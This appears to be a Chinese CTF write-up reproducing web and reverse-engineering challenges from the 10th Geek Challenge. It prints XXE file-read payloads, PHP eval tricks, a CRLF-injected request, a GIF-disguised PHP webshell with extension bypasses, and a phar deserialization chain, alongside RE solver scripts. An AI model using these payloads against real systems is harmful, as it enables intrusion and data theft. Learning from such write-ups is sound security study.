第十届极客大挑战——复现未解决的web和RE
emmmm,有些题目是没做出来的,有机会复现,还有官方wp,所以看看,再记录一下
web - 性感黄阿姨,在线聊天
这道题我是真的服了,爆破name,,,,,头皮发麻,,,,说到底,菜
打开题目,随便输入,直接抓包,得到提示:要不你直接问问我flag吧
修改request为flag,然后会得到新提示,说只是guest,修改为admin再次得到新的提示:
接下来就是爆破name了,,,,,,打死我都没想到,,,
爆破得到文件名:
然后可以看见Content-Type是application/json,题目还有提示是xxe,
修改为Content-Type: application/xml,然后进行尝试,与之前的结果一样:
不过会发现357在这里不起作用了,,,,,因为json是可以传递数字和字符串的
区别就是两侧有⽆引号,⽽xml只能传递字符串且"357asd"是不等于"357"的
而且是有个回显点的,就是name,之前测出来了,然后直接构造xxe去读取文件:
成功了,直接读取php文件可能会出现错误,因为php⽂件中有一些特殊字符让xml解析时出错
所以可以利⽤php流读取文件:
最后进行base64解密成功拿到flag:
web - Eval evil code
emmm,这道题没怎么做,啊哈哈哈哈,爆破MD5之后随便玩了一下就没玩了:
首先要爆破验证码,编写脚本:
import requests
import base64
import sys
import hashlib
def getMd5(index):
for i in range(10000,100000000):
x = i
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
if md5[0:4] == index:
return x;
print(getMd5("7dac"))
得到验证码:
然后我输入phpinfo()得到的却是这个:给你偷偷看我的代码,eval(); 但是我不接受有参数的代码哦,例如这种:a(‘123’);
之后我就没有做了,,,,phpinfo()有参数吗?服了,,,,后面才知道加上分号,,,,我怎么这么菜???
构造可以去读目录的payload:payload=var_dump(scandir(getcwd()));
:
然后利用next()和array_reverse()加readfile()三个函数进行读取,最后得到flag
payload:payload=readfile(next(array_reverse(scandir(getcwd()))));
:
除此之外竟然还有一种操作,,,,
在httpheader头中注入恶意参数,再利用getallheaders函数获得参数,又学到一招:
web - 服务端检测系统
打开题目的可以看见页面,只能传入以http://开头的参数,f12查看源代码可以看见源码:
直接访问admin.php无法访问,,,,,
直接抓包进行访问查看,,,,,到后面就不知道该怎么操作了,,,看了wp才知道
在echo sprintf("body length of $method%d", $body);
处存在参数可控!!
比如说直接传入%s%就会把%d给转义掉,然后就会输出URL中文件的内容,,,,
直接上效果图吧,在Render中查看比较明显:
发现需要我们POST传递一个值为yes的iwantflag参数,才会显示flag,,,,
emmmm,该如何操作呢????原来要利用CRLF注入漏洞,,,,
说实话我第一次听说CRLF注入漏洞,,,这里就简单介绍一下:
所谓crlf就是:“carriage return/line feed”,就是回车和换行的意思 在HTTP协议中,HTTP Header 与 HTTP Body 是用两个CRLF分隔的 浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来 一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行 这样我们就能注入一些会话 Cookie 或者 HTML 代码,
在这里用到file_get_context_create()函数来发起HTTP请求
一些配置选项包括这里的请求方式是作为一个数组经过stream_context_create()处理后传入的
而使用stream_context_create()是可以模拟POST/GET请求的方法的
那么这里就存在CRLF注入漏洞,即我们可以完全自己模拟一个完整的POST包发出去:
url=http%3A%2F%2F127.0.0.1/amdin.php&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
iwantflag=yes%26b=%s%
当我们提交该数据之后,file_get_context_create()最终发出的HTTP请求是:
POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
iwantflag=yes%26b=%s%
Host: 39.107.111.145:6666
注意的是,iwantflag=yes%26b=%s%
中的%26
是&
符号URL编码之后的样子
不进行URL编码的话,就会被当做当前请求包的参数分割符,达不到预期的效果
还有关于这里多传递一个参数的问题,因为最终的请求包后面是会被拼接上原本正常的HTTP请求包中的内容的
所以是为了防止干扰iwantflag变量,
由于我们是要得到返回的数据的,所以最后依然是%s%
这样之后我们就能够的到flag了,,,,,
复现完这道题目,还是有一点迷迷糊糊的,,,,,
web - 你有特洛伊么
emmmm,这道题我看题目说不简单就没看了,,主要那几天也有事,,,
扫了一眼wp,感觉不难,打开页面可以看见是一个上传的题目,,,,:
先直接构造一个图片马:
GIF89
<?php @eval($_POST['cmd']);?>
先改后缀名为gif,然后进行抓包进行尝试修改为php,发现不行:
进行其他尝试,,,,php2, php3, php4, php5, phps, pht, phtm, phtml这些别名都可以尝试
尝试到phps发现可以!!不过出现新的提示,不能存在<?:
修改内容为:
GIF89a
<script language="php">@eval($_POST['cmd'])</script>
然而,进行访问的时候发现是forbidden,,,,:
可能是别名存在问题,,,最后发现phtml也行,改为phtml后缀:
蚁剑进行连接,找到flag:
web - 你读懂潇文清的网站了吗
这道题也没怎么看,,好像是xxe加phar,题目已经有提示了,xxe:
尝试利用xxe读取文件的源码,成功获取到index.php源码:
index.php内容
<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");
if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){
echo "no!!!you cant read flag right here!";
exit();
}
$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);
print($xml);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link href="./style_log.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" type="text/css" href="./style.css">
<link rel="stylesheet" type="text/css" href="./userpanel.css">
</head>
<body class="login" mycollectionplug="bind">
<div class="login_m">
<div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div>
<div class="login_boder">
<div class="login_padding" id="login_model">
<div style="text-align:center; vertical-align:middel;">
<h3>告诉我你想说的</h3>
</div>
<form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<div style="text-align:center; vertical-align:middel;">
<textarea type="text" id='divcss5' name="data">
发现还有config.php,直接读取:
<?php
class File{
public $filetype;
public $filename;
public function __wakeup(){
echo "wake up ";
var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
}
public function check($filetype,$filename){
$filename = $filename;
$filetype = $filetype;
if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
echo "只允许上传jpg格式文件";
exit();
}
}
public function upload($filetemp){
$target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";
$handle = fopen($filetemp, "r");
$content = '';
while(!feof($handle)){
$content .= fread($handle, 8080);
}
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){
echo "Invalid file!!!!";
exit();
}
fclose($handle);
if (move_uploaded_file($filetemp, $target_file)) {
echo "your file is here:".$target_file;
}
}
}
看见__wakeup中有读取flag的函数,不过还没看见调用该类的地方,,
看见下面有个uploads,怀疑有个上传的页面,尝试看一下upload.php,果然有,读取内容:
<!DOCTYPE html>
<html>
<head>
<title>Ayrain</title>
</head>
<body>
<h3>上传一个文件,让我康康你这是什么乱七八糟的东西。</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<input type="file" name="file" />
<input type="submit" name="Check" />
</form>
</body>
</html>
<?php
error_reporting(0);
include("config.php");
$filename = $_FILES["file"]["name"];
$filetype = $_FILES["file"]["type"];
$filetemp = $_FILES["file"]["tmp_name"];
$file = new File();
$file->check($filetype,$filename);
$file->upload($filetemp);
?>
利用上传点,上传可以触发__wakeup的phar文件,结合之前的xxe,读取phar文件进行触发
生成phar文件:
<?php
class File{
public function __wakeup(){
echo "wake up ";
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new File();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
然后改后缀为jpg,上传成功之后会返回一个路径
然后再通过xxe去进行触发:
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY f SYSTEM "phar://./uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> ]>
<name>&f;</name>
成功获取到flag:
RE - 阅兵你认真看了嘛?
emmmm,说实话这道题目我也刚过,但是本人太菜了,没看出来,,,,
首先我们可以看见:
有两次验证!!运行程序也可以看见,第一层是五个问题,回答正确可以进入到下一步
可以把MD5那一串字符解密就能得到正确答案:
过了第一个check,然后会进入到一个函数sub_DEB(),会让我们输入54位1-9之间的字符串,
并且还有校验每个字符是否在1-9之间,之后会把我们输入的数填到unk_2020C4中值为0的位置上
然后通过函数sub_BC7()检查一下dword_2020A0内容,,,,,
进入输出flag的函数查看了一下,逆不出来,,,,
当时做的时候一直在输出flag函数里面看,,,一直逆出不来,,,(直接放弃)思路不正确就是这样,,,
进入sub_BC7查看:
发现有三个函数,a1就是dword_2020A0,查看了一下dword_2020A0的值,发现有81个值,,,
刚刚好有54个0,,,,到这里就应该能猜出来这是个数独了,,,,继续往下走,,,
dword_2020A0的值:
120543000
030098000
000060005
300004000
007050800
000600009
500070000
000420010
000981023
查看一下三个函数,得以发现sub_97A是检查每个九宫格的,sub_A60检查列,sub_B15检查横
合格之后才会返回true,所以我们就只需要解出这个数独,然后输入就能得到flag
随便找个在线工具解一下:
得到字符串:
679845716297812345981276642931281374512369848935677645
正确回答两次问题,得到flag:
做的时候还是没有耐心,而且不会变通,一条路走到黑,,,,,
RE - python1
下载是一个pyc文件,反编译之后的到源码:
import struct
import time
def b(a):
return a & 0xFFFFFFFFFFFFFFFFL
def c(str):
return struct.unpack('<Q', str)[0]
def d(a):
for i in range(64):
a = a * 2
if a > 0xFFFFFFFFFFFFFFFFL:
a = b(a)
a = b(a ^ 0xB0004B7679FA26B3L)
continue
return a
if __name__ == '__main__':
cmp_data = [
0x6E8DD76D3B876F95L,
0xE206DA09DAF4BED6L,
0x77559D346E134BF1L,
0x61CE39CAC5EAF891L,
0x656C3C155520E36FL]
input = raw_input('plz input your flag:')
if len(input) % 8 != 0:
for i in range(8 - len(input) % 8):
input += '\x00'
arr = []
for i in range(len(input) / 8):
value = d(c(input[i * 8:i * 8 + 8]))
arr.append(value)
for i in range(5):
if arr[i] != cmp_data[i]:
print 'fail'
time.sleep(5)
exit()
continue
print 'success'
time.sleep(5)
exit()
逻辑很好理解,而且还给出了比较的字符串,那我们可以逆推,,
关键在于对d函数的逆向,会有64次乘⼆,每次乘2后还会进⾏判断
如果⼤于0xffffffffffffffff,会&0xffffffffffffffff再^ 0xB0004B7679FA26B3,,,,
⼊⼿点是奇偶,能看出来的话这道题就简单了
每次乘⼆后这⼀次循环得到的是偶数,每次&0xffffffffffffffff再^ 0xB0004B7679FA26B3得到的都是奇数
那么进⾏64次循环除以⼆时候,先进⾏判断,如果是偶数就直接除以⼆,
如果是奇数就先^ 0xB0004B7679FA26B3,再+0xffffffffffffffff+1,再除以⼆
python2的解题脚本:
# -*- coding:utf-8 -*-
import struct
cmp_data = [7966260180038414229L, 16286944838295011030L,8598951912044448753L, 7047634009948092561L, 7308282357635670895L]
def Dec(f):
for i in range(0,64):
if(f % 2 == 0):
f /= 2
else:
f ^= 0xB0004B7679FA26B3
f = f + 0xffffffffffffffff + 1
f /= 2
return f
flag = ""
for i in range(0,5):
flag += struct.pack(">Q",Dec(cmp_data[i]))[::-1]
print flag
得到flag: